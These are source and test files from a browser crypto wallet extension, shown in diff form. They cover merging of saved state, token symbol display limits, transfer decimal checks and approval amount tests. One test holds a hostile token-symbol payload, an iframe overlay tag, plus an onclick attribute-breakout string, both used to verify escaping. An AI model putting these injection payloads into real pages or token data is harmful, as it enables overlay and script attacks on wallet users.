// (findWalletByXpub() in addWallet.js). A "key" wallet has no xpub, exactly
// one address for its whole lifetime (nothing ever adds to or removes from
// a key wallet's address list), and that address is already enforced
// unique (findWalletByAddress()) — so it stands in for identity there.
// Neither invariant is enforced by this function or by
// mergeListByIdentity() below — they hold only because every wallet-
// creation path in addWallet.js happens to populate one or the other before
// the wallet ever reaches state.wallets, and because canRemoveAddress() in
// walletDelete.js never lets a wallet's address list go to zero. A wallet
// with neither (an empty/legacy/corrupt record) falls back to the same
// "addr:" identity as every other such record, which is a genuine
// collision, not a proxy for one — see the collision handling in
// mergeListByIdentity().
function walletIdentity(wallet) {
if (wallet.xpub) return "xpub:" + wallet.xpub;
const first = wallet.addresses && wallet.addresses[0];
return "addr:" + (first ? String(first.address).toLowerCase() : "");
}
// Stable identity for an address within one wallet's address list. An
// address is unique within its wallet and, once derived or imported, never
// changes — only whether it is present.
function addressIdentity(addr) {
return String(addr.address).toLowerCase();
}
// Merge one array of identity-bearing objects (wallets, or the addresses
// inside one wallet) by identity rather than by array index — an index
// shifts under a concurrent insert/delete elsewhere, which would merge the
// wrong pair of objects entirely.
//
// `theirs` (fresh storage) sets the membership baseline and the order:
// - An item this page never had baseline knowledge of, but that is in
// `theirs`, was added by someone else — kept as-is.
// - An item `base` had and `ours` no longer has was deleted by THIS page
// — dropped even though `theirs` still has it (this page's own delete
// must win over a background save that only touched leaf fields).
// - An item present in both `ours` and `theirs` is merged leaf-by-leaf via
// `mergeItem`, so a leaf this page changed (e.g. a renamed wallet) lands
// on top of `theirs`' otherwise-current copy (e.g. a refreshed balance).
// Anything left in `ours` that `base` never had and `theirs` does not have
// yet is this page's own new addition — appended.
//
// `identityOf` is not guaranteed collision-free (walletIdentity() falls
// back to one shared "addr:" value for any wallet with neither an xpub nor
// a populated first address). Two records that collide under it must never
// silently collapse into one — that is exactly how this function used to
// drop a wallet, encryptedSecret included, with no error and no log. Two
// defenses:
// - `ours` is indexed into GROUPS, not a single item per identity, so two
// colliding live items on this page can't overwrite each other in the
// index before the merge below even runs.
// - A matched pair with no shared `base` entry (neither page ever agreed
// on this identity) is only merged leaf-by-leaf when the two sides are
// already equal. If they differ, that is not "the same record edited
// twice", it is two different records that happen to share an identity
// — both are kept, unmerged, rather than guessing which one is real.
function mergeListByIdentity(base, ours, theirs, identityOf, mergeItem) {
base = base || [];
ours = ours || [];
theirs = theirs || [];
const baseIndex = new Map(base.map((item) => [identityOf(item), item]));
const oursIndex = new Map();
for (const item of ours) {
const id = identityOf(item);
if (!oursIndex.has(id)) oursIndex.set(id, []);
oursIndex.get(id).push(item);
}
const result = [];
const seen = new Set();
for (const theirItem of theirs) {
const id = identityOf(theirItem);
seen.add(id);
const oursGroup = oursIndex.get(id);
if (baseIndex.has(id) && !oursGroup) continue;
if (oursGroup) {
const baseItem = baseIndex.get(id);
if (!baseItem && !deepEqual(oursGroup[0], theirItem)) {
log.errorf(
"state: identity collision merging",
JSON.stringify(id),
"- keeping both records instead of dropping one",
);
result.push(theirItem, ...oursGroup);
} else {
result.push(mergeItem(baseItem, oursGroup[0], theirItem));
for (let i = 1; i < oursGroup.length; i++) {
result.push(oursGroup[i]);
}
}
} else {
result.push(theirItem);
}
}
for (const item of ours) {
const id = identityOf(item);
if (seen.has(id)) continue;
if (!baseIndex.has(id)) result.push(item);
}
return result;
}
// Merge one wallet's scalar/leaf fields (name, encryptedSecret, nextIndex,
// ...) against base, then recurse into its address list by identity. `base`
// is null when this page created the wallet itself and no other page has
// (yet) produced a same-identity record — nothing to merge in that case,
// this page's own copy wins outright. mergeListByIdentity() only ever calls
// this with `!base` when `ours` and `theirs` are already equal (a genuine
// collision between two DIFFERENT same-identity records is caught and kept
// as two separate entries before this function is reached), so returning
// `ours` here can't discard a different wallet's data.
function mergeWallet(base, ours, theirs) {
if (!base) return ours;
const merged = { ...theirs };
for (const key of Object.keys(ours)) {
if (key === "addresses") continue;
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
}
merged.addresses = mergeListByIdentity(
base.addresses,
ours.addresses,
theirs.addresses,
addressIdentity,
mergeAddress,
);
return merged;
}
// Merge one address's leaf fields (balance, ensName, tokenBalances, ...).
// tokenBalances is itself an array, but only backgroundRefresh() ever
// writes it and always wholesale (refreshBalances() in
// src/shared/balances.js), so there is no membership to reconcile within
// it — it is a leaf like balance or ensName, not a list with its own
// identity.
function mergeAddress(base, ours, theirs) {
if (!base) return ours;
const merged = { ...theirs };
for (const key of Object.keys(ours)) {
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
}
return merged;
}
// Merge a plain object keyed by string (allowedSites/deniedSites: address ->
// hostname list; networkEndpoints: networkId -> {rpcUrl, blockscoutUrl}) the
// same way mergeListByIdentity() merges an array — by key, not by whole-
// object diff — so a key one page added or removed applies independently of
// a key another page edited. Unlike an array's identity function, an object
// key can't collide with a different logical entry (Object.keys() is
// already deduplicated), so this needs no collision floor of its own.
function mergeMapByKey(base, ours, theirs, mergeLeaf) {
base = base || {};
ours = ours || {};
theirs = theirs || {};
const result = {};
const seen = new Set();
for (const key of Object.keys(theirs)) {
seen.add(key);
const inBase = Object.prototype.hasOwnProperty.call(base, key);
const inOurs = Object.prototype.hasOwnProperty.call(ours, key);
if (inBase && !inOurs) continue; // this page deleted the whole entry
if (inOurs) {
result[key] = mergeLeaf(base[key], ours[key], theirs[key]);
} else {
result[key] = theirs[key];
}
}
for (const key of Object.keys(ours)) {
if (seen.has(key)) continue;
if (!Object.prototype.hasOwnProperty.call(base, key)) {
result[key] = ours[key];
}
}
return result;
}
// allowedSites/deniedSites: { [address]: [hostname, ...] }. The hostname
// list is itself membership, not a leaf — src/background/index.js pushes a
// newly approved/denied hostname onto it in place, and the Settings "revoke"
// button (src/popup/views/settings.js) filters a hostname out of it in
// place, from a different page. Merge it the same way wallets are merged:
// identity is the hostname itself, so a merged pair is always equal and
// mergeItem is a no-op pick.
function mergeHostnameList(base, ours, theirs) {
return mergeListByIdentity(
base,
ours,
theirs,
(hostname) => hostname,
(b, o, t) => t,
);
}
function mergeSiteMap(base, ours, theirs) {
return mergeMapByKey(base, ours, theirs, mergeHostnameList);
}
// networkEndpoints: { [networkId]: {rpcUrl, blockscoutUrl} }. onChainSwitch()
// (src/shared/chainSwitch.js) writes state.networkEndpoints[networkId] in
// place before saving. No code path ever removes a key from this map, so the
// membership collision that matters for allowedSites/wallets (an add on one
// page racing a delete on another) can't happen here — but two pages
// switching to two different networks concurrently still race a whole-field
// diff the same way, so it gets the same per-key merge for the leaf edit
// case (e.g. Settings saving a custom RPC URL for the active network).
function mergeEndpointEntry(base, ours, theirs) {
if (!base) return ours;
const merged = { ...theirs };
for (const key of Object.keys(ours)) {
if (!deepEqual(ours[key], base[key])) merged[key] = ours[key];
}
return merged;
}
function mergeNetworkEndpoints(base, ours, theirs) {
return mergeMapByKey(base, ours, theirs, mergeEndpointEntry);
}
// Read-modify-write, merged per field, rather than one full-blob write.
//
// Every extension page (the toolbar popup, a dApp approval window, the
// background's backgroundRefresh()) holds its own in-memory `state`, loaded
// once, and showView() saves on every navigation. A full-blob write here
// clobbers whatever a second page had written since — including, in the
// worst case, an entire wallet and its encrypted secret with no attacker
// and no unusual input (see the issue this fixes).
//
// Only the fields this page actually changed — those that differ from
// `baseline`, captured at the last loadState()/saveState() on this page —
// are written; every other field is carried forward from whatever is in
// storage right now, which may already be a value another page wrote.
//
// `wallets` is merged structurally (mergeListByIdentity(), by wallet
// identity and then by address identity within each wallet), not as one
// whole field: backgroundRefresh() mutates wallets IN PLACE (addr.balance /
// ensName / tokenBalances, via refreshBalances()), so a whole-field diff
// would mark all of `wallets` "changed" the moment any balance moved and
// write back background's own copy — loaded before its multi-second network
// round trip — clobbering a wallet another page added, or resurrecting one
// another page deleted, in that window. Merging by identity lets
// background's leaf changes and another page's membership changes
// (add/delete a wallet or an address) apply independently instead of
// colliding as the same field.
//
// `allowedSites` and `deniedSites` get the same treatment (mergeSiteMap(),
// by address key and then by hostname within each address's list), for the
// identical reason: src/background/index.js pushes a newly
// approved/denied hostname onto them in place, and the Settings "revoke"
// button (src/popup/views/settings.js) filters one out in place, from a
// different page. A whole-field diff here doesn't just lose data, it is a
// security defect — a stale page's save can resurrect a just-revoked site
// permission, or silently wipe a permission just granted elsewhere.
//
// `networkEndpoints` gets the same treatment too (mergeNetworkEndpoints(),
// by network id), since onChainSwitch() writes into it in place; the value
// per key is a small leaf object with no membership of its own; see the
// comment at mergeEndpointEntry() for why the collision this closes is
// milder than the other two.
//
// Every other persisted field stays a whole-field diff:
// `trackedTokens`/`fraudContracts`/`viewStack` are arrays of scalars with no
// per-element identity to merge by; `tokenHolderCache` is a map shaped like
// the ones above, but nothing in src/ ever writes an entry into it — it is
// only ever reset wholesale to `{}` (onChainSwitch()) — so there is no
// in-place mutation for a whole-field diff to collide with; `viewData` is
// this page's own UI scratch space, not data another page has any reason to
// share membership of.
//
// This does not make two pages that both change the SAME leaf concurrently
// safe: last write wins on that one leaf, same as before. What it removes
// is the cross-field (and now cross-membership-vs-leaf) clobber — a page
// that only navigated, or only refreshed a balance, overwriting a wallet or
// address list it never touched the membership of.
//
// This page's own live `state` is deliberately NOT rehydrated from a field
// another page changed — only the record written to storage is merged.
// showView() fires saveState() on every navigation without awaiting it,
// which is what makes the queue above necessary in the first place, and a
// save that is slow to come back has no way to tell whether the field it
// is about to hand back is still the current answer or has since been
// overtaken by something this very page did in the meantime; writing it
// into `state` regardless reintroduced exactly the clobber this function
// exists to remove, just delayed and confined to one page instead of two
// (caught by tests/txStatus.test.js). A page's live picture of a field it
// does not own goes on being whatever its last loadState() saw, same as
// before this fix; only the persisted record is guaranteed current.
async function saveStateOnce() {
const current = snapshotPersisted();
const result = await storageGet("autistmask");
// Normalized, not raw: a field this page did not change still has to
// come from storage in its loaded (self-healed) shape. See
// normalizePersisted() above.
const fresh = normalizePersisted(result.autistmask);
const merged = { ...fresh };
for (const key of PERSISTED_FIELDS) {
if (key === "wallets") {
merged.wallets = mergeListByIdentity(
baseline ? baseline.wallets : [],
current.wallets,
fresh.wallets,
walletIdentity,
mergeWallet,
);
} else if (key === "allowedSites" || key === "deniedSites") {
merged[key] = mergeSiteMap(
baseline ? baseline[key] : {},
current[key],
fresh[key],
);
} else if (key === "networkEndpoints") {
merged.networkEndpoints = mergeNetworkEndpoints(
baseline ? baseline.networkEndpoints : {},
current.networkEndpoints,
fresh.networkEndpoints,
);
} else if (
baseline === null ||
!deepEqual(current[key], baseline[key])
) {
merged[key] = current[key];
}
}
merged.hasWallet = Boolean(merged.wallets && merged.wallets.length > 0);
await storageSet({ autistmask: merged });
// Derived from this page's own wallets, never adopted off the wire —
// see loadState(). Everything else this page did not change is left
// exactly as it stood; see the note above.
state.hasWallet = state.wallets.length > 0;
baseline = structuredClone(snapshotPersisted());
}
// showView() calls saveState() on every navigation without awaiting it, so
// two saves from the SAME page can be in flight at once — e.g. a screen
// shown, then immediately replaced before the first save's storageGet()
// round trip has come back. Left concurrent, the first save's turn would
// finish after the second's live-state mutation and then re-hydrate `state`
// from what IT read, stomping the second, later change back to a stale
// value — the same clobber this function exists to prevent, just between
// two saves on one page instead of two pages. Queuing makes every save's
// snapshot-diff-write-rehydrate run start to finish before the next one
// begins, so each one only ever sees the true live state at its turn.
let saveQueue = Promise.resolve();
function saveState() {
const turn = saveQueue.then(saveStateOnce);
// The queue must advance even when a save rejects, or every save after
// it queues behind a promise that never settles.
saveQueue = turn.catch(() => {});
return turn;
} }
async function loadState() { async function loadState() {
const result = await storageGet("autistmask"); const result = await storageGet("autistmask");
if (result.autistmask) { if (result.autistmask) {
Object.assign(state, normalizePersisted(result.autistmask)); const saved = result.autistmask;
state.wallets = saved.wallets || [];
// Derived, never read from storage: a profile persisted with the flag
// out of step with the wallet list would otherwise stay broken on
// every load. Nothing depends on the two disagreeing.
state.hasWallet = state.wallets.length > 0;
state.trackedTokens = saved.trackedTokens || [];
state.networkId = saved.networkId || DEFAULT_STATE.networkId;
state.rpcUrl = saved.rpcUrl || DEFAULT_STATE.rpcUrl;
state.blockscoutUrl =
saved.blockscoutUrl || DEFAULT_STATE.blockscoutUrl;
// An actual object is required, not merely a truthy non-array: the
// code below and onChainSwitch() index and ASSIGN INTO this value,
// and assigning a property to a string or a number is a silent no-op
// in sloppy mode. A stored primitive would therefore be re-persisted
// unchanged forever, and every switch would fall back to the network
// default — the endpoint loss this map exists to prevent, with no
// self-healing. The allowedSites/deniedSites guards below are only
// read from, which is why they can be looser.
state.networkEndpoints =
typeof saved.networkEndpoints === "object" &&
saved.networkEndpoints !== null &&
!Array.isArray(saved.networkEndpoints)
? saved.networkEndpoints
: {};
// A profile written before this map existed carries exactly one pair
// of endpoints, belonging to whatever network it was last on. Adopt
// it as that network's remembered pair, so a custom endpoint set on
// the old build is not lost by the first switch away and back.
if (!state.networkEndpoints[state.networkId]) {
state.networkEndpoints[state.networkId] = {
rpcUrl: state.rpcUrl,
blockscoutUrl: state.blockscoutUrl,
};
}
state.lastBalanceRefresh = saved.lastBalanceRefresh || 0;
state.activeAddress = saved.activeAddress || null;
state.allowedSites =
saved.allowedSites && !Array.isArray(saved.allowedSites)
? saved.allowedSites
: {};
state.deniedSites =
saved.deniedSites && !Array.isArray(saved.deniedSites)
? saved.deniedSites
: {};
state.rememberSiteChoice =
saved.rememberSiteChoice !== undefined
? saved.rememberSiteChoice
: true;
state.showZeroBalanceTokens =
saved.showZeroBalanceTokens !== undefined
? saved.showZeroBalanceTokens
: true;
// A profile written before this setting existed has no key for it.
// It is a safety filter, so absent must load as on, not as undefined.
state.hideSpoofedSymbols =
saved.hideSpoofedSymbols !== undefined
? saved.hideSpoofedSymbols
: true;
state.hideLowHolderTokens =
saved.hideLowHolderTokens !== undefined
? saved.hideLowHolderTokens
: true;
state.hideFraudContracts =
saved.hideFraudContracts !== undefined
? saved.hideFraudContracts
: true;
state.hideDustTransactions =
saved.hideDustTransactions !== undefined
? saved.hideDustTransactions
: true;
state.dustThresholdGwei =
saved.dustThresholdGwei !== undefined
? saved.dustThresholdGwei
: 100000;
state.utcTimestamps =
saved.utcTimestamps !== undefined ? saved.utcTimestamps : false;
state.fraudContracts = saved.fraudContracts || [];
state.tokenHolderCache = saved.tokenHolderCache || {};
state.theme = saved.theme || "system";
state.debugMode =
saved.debugMode !== undefined ? saved.debugMode : false;
state.currentView = saved.currentView || null;
state.selectedWallet =
saved.selectedWallet !== undefined ? saved.selectedWallet : null;
state.selectedAddress =
saved.selectedAddress !== undefined ? saved.selectedAddress : null;
state.selectedToken = saved.selectedToken || null;
state.viewData = saved.viewData || {};
state.viewStack = restorableStack(saved.viewStack, state.currentView);
} }
// The point of comparison every saveState() on this page diffs against,
// whether storage had a profile or was empty. See PERSISTED_FIELDS above
// saveState() for why a reference here would be wrong.
baseline = structuredClone(snapshotPersisted());
} }
function currentAddress() { function currentAddress() {

View File

@@ -1,43 +0,0 @@
// The length bound on a token symbol as displayed.
//
// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
// it from the block explorer, which imposes no length: src/shared/balances.js
// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
// return value, and rendering it pushes every amount off the row, scrolls
// the balance list past the screen, and hides the figures the user is there
// to read.
//
// This is a layout bound, not a security control. Escaping is what makes a
// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
// what catches one impersonating a known ticker; neither job belongs here
// and neither is done here. Truncating an unescaped symbol would still be
// an injection, just a shorter one.
//
// 12 characters, which is the bound lookupTokenInfo() in
// src/shared/balances.js already applies when it stores a symbol read
// straight off a contract; the explorer path was the one with no bound at
// all. The longest symbol across the 512 entries of the bundled list is 10
// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
// truncated. The ellipsis is what tells the user the name they are looking
// at is not the whole name — worth knowing before they send to it.
const MAX_SYMBOL_LENGTH = 12;
// The placeholder for a token whose symbol the explorer did not report.
// balances.js already substitutes this; repeated here so a symbol that
// arrives empty from anywhere else displays the same way rather than as a
// blank gap in the row.
const UNKNOWN_SYMBOL = "???";
function displaySymbol(symbol) {
const s = symbol === null || symbol === undefined ? "" : String(symbol);
if (s.length === 0) return UNKNOWN_SYMBOL;
if (s.length <= MAX_SYMBOL_LENGTH) return s;
return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
}
module.exports = {
displaySymbol,
MAX_SYMBOL_LENGTH,
UNKNOWN_SYMBOL,
};

View File

@@ -1,116 +0,0 @@
// The base-unit amount an ERC-20 transfer from the wallet's own Send screen is
// encoded with.
//
// A token amount is a decimal string plus a scale, and the two come from
// different places. The confirmation screen renders the amount, the balance and
// the symbol from the block explorer's cached metadata (see
// fetchTokenBalances() in balances.js); the transfer used to be encoded from
// decimals() read off the contract at signing time, and nothing compared the
// two. A token whose on-chain scale differs from the cached one — an
// upgradeable or proxy token, a caller-dependent one, a stale or wrong explorer
// entry — therefore signed an amount that was never displayed, off by a power
// of ten for every decimal place of disagreement.
//
// So the scale used to encode is the scale the screen rendered with, carried
// forward on the pending transaction, and the contract's own answer is read
// only to be compared with it. A disagreement is a refusal, never a preference
// for either number: the wallet cannot tell which of the two the user meant,
// and both candidate transfers move an amount nobody approved.
//
// This is the confirmTx counterpart to approvalVerify.js, which does the same
// job for the dApp approval path, and it takes the same stance: a quantity that
// cannot be compared with what was displayed has not been checked, so an absent
// or unusable value is refused rather than filled in.
//
// Every message here is shown to the user on the transaction error screen, so
// each is a full sentence and names the numbers it is refusing over.
const { parseUnits } = require("ethers");
// Solidity's decimals() returns a uint8, so anything outside that range is not
// an answer this wallet can use.
const MAX_DECIMALS = 255;
const UNKNOWN_DISPLAYED_DECIMALS_MESSAGE =
"The transfer was not sent, because the number of decimal places this" +
" amount was shown with is unknown, so the amount that would be signed" +
" cannot be shown to be the amount that was displayed.";
const UNREADABLE_CONTRACT_DECIMALS_MESSAGE =
"The transfer was not sent, because the token contract did not report a" +
" usable number of decimal places, so the amount that would be signed" +
" cannot be checked against the amount that was displayed.";
function mismatchMessage(displayed, onChain) {
return (
"The transfer was not sent. The token contract reports " +
onChain +
" decimal places, but the amount was displayed using " +
displayed +
", so signing it would move a different amount than the one shown." +
" Reopen the wallet to reload this token's details and try again."
);
}
// A decimals value from either source as a number, or null if it is not one.
// decimals() comes back from ethers as a bigint and the explorer's copy arrives
// as a string, so both of those are accepted alongside a plain number; anything
// fractional, negative, out of uint8 range, or of any other type at all is not.
//
// The types are enumerated rather than coerced because Number() is far too
// willing: Number([]) is 0 and Number(true) is 1, so a coercing check would
// admit an empty array as a scale of zero and encode a whole-token transfer
// against it.
function toDecimals(value) {
let n;
if (typeof value === "number") {
n = value;
} else if (typeof value === "bigint") {
if (value < 0n || value > BigInt(MAX_DECIMALS)) return null;
n = Number(value);
} else if (typeof value === "string") {
if (!/^[0-9]+$/.test(value)) return null;
n = Number(value);
} else {
return null;
}
if (!Number.isInteger(n) || n < 0 || n > MAX_DECIMALS) return null;
return n;
}
// The decimals the confirmation screen rendered an amount with, as a number.
// Throws when the pending transaction does not carry a usable one — which is
// also what keeps the gas estimate from quietly estimating a different transfer
// than the one that would be signed.
function displayedDecimals(value) {
const displayed = toDecimals(value);
if (displayed === null) {
throw new Error(UNKNOWN_DISPLAYED_DECIMALS_MESSAGE);
}
return displayed;
}
// The transfer amount in the token's base units, or a throw. `amount` is the
// decimal string the user typed and the screen displayed, `displayed` is the
// scale it was displayed at, and `onChain` is what the contract's decimals()
// answered at signing time. The two scales must agree.
function transferAmountUnits(amount, displayed, onChain) {
const shown = displayedDecimals(displayed);
const reported = toDecimals(onChain);
if (reported === null) {
throw new Error(UNREADABLE_CONTRACT_DECIMALS_MESSAGE);
}
if (reported !== shown) {
throw new Error(mismatchMessage(shown, reported));
}
return parseUnits(String(amount), shown);
}
module.exports = {
displayedDecimals,
transferAmountUnits,
mismatchMessage,
MAX_DECIMALS,
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
};

View File

@@ -1,208 +0,0 @@
// The quantity the dApp approval screen shows for a decoded ERC-20 call.
//
// The screen's amount line is the only place a user sees how much a page is
// asking for, and it is decoded from calldata, which carries base units and
// no scale. Issue #306: decodeCalldata read decimals from the bundled token
// list alone and fell back to 18, so a `transfer` of 5000000000 units of a
// 6-decimal token — 5,000 tokens — was displayed as `0.0000` and confirmed.
//
// What is asserted here is that the scale is found wherever the wallet
// already has it, and that where it is nowhere at all no formatted number is
// produced: the amount line has to say base units and say the scale is
// unknown, because a wrong quantity that reads as zero is worse than an
// unwieldy correct one.
globalThis.chrome = {
storage: { local: { get: async () => ({}), set: async () => {} } },
};
const { Interface } = require("ethers");
const { ERC20_ABI } = require("../src/shared/constants");
const { state } = require("../src/shared/state");
const {
resolveTokenDecimals,
unknownDecimalsAmount,
} = require("../src/shared/approvalAmount");
const { decodeCalldata } = require("../src/popup/views/approval");
const iface = new Interface(ERC20_ABI);
// Outside the bundled list, as the great majority of ERC-20s are.
const NOVEL_TOKEN = "0xE2E0000000000000000000000000000000000E2e";
// In the bundled list, at 6 decimals.
const USDC = "0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48";
const RECIPIENT = "0xC0FfEE0000000000000000000000000000c0fFEe";
const SPENDER = "0x1111111111111111111111111111111111111111";
// 5,000 units of a 6-decimal token, the amount from the issue.
const FIVE_THOUSAND_AT_SIX = 5000000000n;
const MAX_UINT256 = (1n << 256n) - 1n;
function transferData(amount) {
return iface.encodeFunctionData("transfer", [RECIPIENT, amount]);
}
function approveData(amount) {
return iface.encodeFunctionData("approve", [SPENDER, amount]);
}
// The Amount line as the approval screen renders it.
function amountLine(data, tokenAddress) {
const decoded = decodeCalldata(data, tokenAddress);
const detail = decoded.details.find((d) => d.label === "Amount");
return detail.value;
}
// A wallet holding `token` with the decimals the block explorer reported,
// shaped as balances.js writes it onto state.
function walletsHolding(token, decimals) {
return [
{
name: "Wallet 1",
addresses: [
{
address: "0x" + "a".repeat(40),
balance: "1.0",
tokenBalances: [
{
address: token,
symbol: "NOVEL",
decimals,
balance: "5000.0",
},
],
},
],
},
];
}
beforeEach(() => {
state.trackedTokens = [];
state.wallets = [];
});
describe("resolveTokenDecimals", () => {
test("prefers the bundled list", () => {
state.trackedTokens = [{ address: USDC, symbol: "USDC", decimals: 2 }];
expect(resolveTokenDecimals(USDC, state)).toBe(6);
});
test("reads a token the user tracks", () => {
state.trackedTokens = [
{
address: NOVEL_TOKEN.toLowerCase(),
symbol: "NOVEL",
decimals: 6,
},
];
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
});
test("reads the decimals the explorer reported", () => {
// Blockscout's copy arrives as a string.
state.wallets = walletsHolding(NOVEL_TOKEN, "6");
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
});
test("falls past a tracked entry whose decimals are unusable", () => {
state.trackedTokens = [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: NaN },
];
state.wallets = walletsHolding(NOVEL_TOKEN, 6);
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBe(6);
});
test("refuses a scale the explorer's own entries disagree about", () => {
const wallets = walletsHolding(NOVEL_TOKEN, 6);
wallets[0].addresses.push({
address: "0x" + "b".repeat(40),
balance: "0.0",
tokenBalances: [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 18 },
],
});
state.wallets = wallets;
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
});
test("rejects values that are not a uint8", () => {
for (const decimals of [-1, 256, 1.5, true, [], {}, null, "6.0", ""]) {
state.trackedTokens = [{ address: NOVEL_TOKEN, decimals }];
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
}
});
test("is null when nothing knows the token", () => {
expect(resolveTokenDecimals(NOVEL_TOKEN, state)).toBeNull();
});
});
describe("decodeCalldata amount", () => {
test("transfer of a tracked 6-decimal token shows the true quantity", () => {
state.trackedTokens = [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
];
expect(
amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
).toBe("5000.0000");
});
test("transfer priced off the explorer's decimals shows the true quantity", () => {
state.wallets = walletsHolding(NOVEL_TOKEN, "6");
expect(
amountLine(transferData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN),
).toBe("5000.0000");
});
test("transfer of an unknown-decimals token shows base units, not a number", () => {
const line = amountLine(
transferData(FIVE_THOUSAND_AT_SIX),
NOVEL_TOKEN,
);
expect(line).toBe("5000000000 base units (decimals unknown)");
expect(line).toBe(unknownDecimalsAmount(FIVE_THOUSAND_AT_SIX));
// The defect: any rendering that reads as a token quantity, and above
// all one that reads as zero.
expect(line).not.toMatch(/0\.0000/);
});
test("approve of a tracked 6-decimal token shows the true quantity", () => {
state.trackedTokens = [
{ address: NOVEL_TOKEN, symbol: "NOVEL", decimals: 6 },
];
expect(amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN)).toBe(
"5000.0000",
);
});
test("approve of an unknown-decimals token shows base units, not a number", () => {
const line = amountLine(approveData(FIVE_THOUSAND_AT_SIX), NOVEL_TOKEN);
expect(line).toBe("5000000000 base units (decimals unknown)");
expect(line).not.toMatch(/0\.0000/);
});
test("an unbounded allowance is still named, with or without a scale", () => {
expect(amountLine(approveData(MAX_UINT256), NOVEL_TOKEN)).toBe(
"Unlimited",
);
expect(amountLine(approveData(MAX_UINT256), USDC)).toBe("Unlimited");
});
test("a bundled token keeps its symbol and its scale", () => {
expect(amountLine(transferData(FIVE_THOUSAND_AT_SIX), USDC)).toBe(
"5000.0000 USDC",
);
});
test("the amount carried to the status screens is the same string", () => {
const decoded = decodeCalldata(
transferData(FIVE_THOUSAND_AT_SIX),
NOVEL_TOKEN,
);
const detail = decoded.details.find((d) => d.label === "Amount");
expect(detail.rawValue).toBe(
"5000000000 base units (decimals unknown)",
);
});
});

View File

@@ -1,69 +0,0 @@
// balanceLine() is the row that issue #307 was reported against: every
// screen that lists a holding renders through it, and the symbol it renders
// is whatever an ERC-20's symbol() returned. This asserts against the
// string it emits, which is what gets assigned to innerHTML.
//
// The browser half of the same claim — that a real Chrome renders that
// string as text and puts no iframe in the popup DOM — is in
// tests/e2e/run.js. This half runs inside the 20-second make test cap.
"use strict";
// helpers.js reaches for both at module scope through the modules it pulls
// in. Neither is exercised by anything asserted here.
global.chrome = {
storage: {
local: {
get: () => Promise.resolve({}),
set: () => Promise.resolve(),
},
},
runtime: { sendMessage: () => {} },
};
global.document = {
getElementById: () => null,
createElement: () => ({ style: {}, classList: { toggle() {} } }),
body: { prepend: () => {} },
addEventListener: () => {},
};
const { balanceLine } = require("../src/popup/views/helpers");
const { MAX_SYMBOL_LENGTH } = require("../src/shared/symbolDisplay");
// The payload from the issue's reproduction, verbatim.
const HOSTILE_SYMBOL =
'<iframe id="pwn" src="https://dapp.e2e.test/" ' +
'style="position:fixed;left:0;top:0;width:360px;height:600px;z-index:99999"></iframe>';
describe("balanceLine", () => {
test("emits a hostile symbol as text, not as an element", () => {
// Deliberately asserted on the escaping alone. The cap truncates
// this payload before its id attribute, so an assertion about the
// rest of the payload would pass on the cap and say nothing about
// the escape.
const html = balanceLine(HOSTILE_SYMBOL, 1, null, null);
expect(html).not.toContain("<iframe");
expect(html).toContain("&lt;iframe");
});
test("caps the symbol before rendering it", () => {
const html = balanceLine("A".repeat(4096), 1, null, null);
expect(html).toContain("A".repeat(MAX_SYMBOL_LENGTH - 1) + "…");
expect(html).not.toContain("A".repeat(MAX_SYMBOL_LENGTH + 1));
});
// The token id lands inside data-token="...", so a quote in it is a
// way out of the attribute and into a new one.
test("keeps a quote-bearing token id inside its attribute", () => {
const html = balanceLine("TKN", 1, null, '" onclick="alert(1)');
expect(html).not.toContain('onclick="');
expect(html).toContain('data-token="&quot; onclick=&quot;alert(1)"');
});
test("renders an ordinary holding unchanged", () => {
const html = balanceLine("USDC", 1.5, null, "0xabc");
expect(html).toContain("<span>USDC</span>");
expect(html).toContain("<span>1.5000</span>");
expect(html).toContain('data-token="0xabc"');
});
});

View File

@@ -1,258 +0,0 @@
// What eth_chainId and net_version answer on a worker that has not loaded
// state yet.
//
// The MV3 service worker is terminated when idle and revived by the next
// message, and nothing loads state at module scope. Both methods answered from
// currentNetwork(), which reads the module-level `state` singleton, so a
// worker revived by the page's own message answered out of DEFAULT_STATE and
// told a page it was on mainnet while the user was on Sepolia
// (https://git.eeqj.de/sneak/AutistMask/issues/317).
//
// This file therefore uses the REAL state module and never calls loadState()
// itself: the handler has to answer from storage on its own. Same shape as
// tests/coldWorkerChainSwitch.test.js, which covers the write side.
const { networkById } = require("../src/shared/networks");
const ADDRESS = "0x66133E8ea0f5D1d612D2502a968757D1048c214a";
const CONNECTED_ORIGIN = "https://dapp.example";
const CONNECTED_HOSTNAME = "dapp.example";
const UNKNOWN_ORIGIN = "https://stranger.example";
const MAINNET = networkById("mainnet");
const SEPOLIA = networkById("sepolia");
const REFRESHED_BALANCE = "1.5";
function storedProfile(networkId) {
return {
hasWallet: true,
wallets: [
{
name: "Wallet 1",
type: "hd",
addresses: [
{ address: ADDRESS, balance: "0", tokenBalances: [] },
],
},
],
activeAddress: ADDRESS,
networkId,
rpcUrl: networkById(networkId).defaultRpcUrl,
blockscoutUrl: networkById(networkId).defaultBlockscoutUrl,
allowedSites: { [ADDRESS]: [CONNECTED_HOSTNAME] },
deniedSites: {},
trackedTokens: [],
};
}
async function settle() {
for (let i = 0; i < 50; i++) await Promise.resolve();
}
afterEach(() => {
delete global.chrome;
});
// Load the background worker with the real state module behind it, over a
// storage stub that keeps what is written.
//
